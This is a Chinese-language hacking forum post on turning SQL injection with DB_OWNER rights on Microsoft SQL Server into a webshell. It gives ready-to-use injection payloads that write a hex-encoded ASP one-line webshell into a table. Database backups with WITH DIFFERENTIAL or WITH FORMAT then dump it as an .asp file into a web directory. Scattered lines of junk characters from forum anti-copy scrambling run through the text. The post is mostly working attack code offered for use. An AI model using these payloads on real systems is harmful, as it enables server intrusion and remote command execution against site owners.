DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少
/ B9 L1 k% p% y4 U0 e
一利用差异备份
0 x; j/ @* E% W, S) z' S% ?! L加一个参数WITH DIFFERENTIAL
# Q, O5 s6 {+ D5 ]0 i
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
create table [dbo].[xiaolu] ([cmd] [image]);
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
7 ~- O, b$ I5 |/ x: D5 _1 ^, pdeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

3 V2 m% _0 \5 S  k( C二利用完全FORMAT
加一个参数WITH FROMAT
) m+ E7 }+ u. B, K有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
) ?7 e2 g; m& c% e2 ]0 a- S1 Z9 v$ M/ C
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
  T6 X2 j4 ~5 E, j! H9 icreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
5 |2 t5 p; x* U
总的来说就是那么简单几句,下面以备份数据库model为例子

id=1;use model create table cmd(str image);insert into cmd(str) values (”)
: _- M" S. j) w
id=1;backup database model to disk=’你的路径‘ with differential,format;–
: L0 c3 r1 ]1 u, u; C  J, j5 A$ d
- T' W! a$ K9 o) g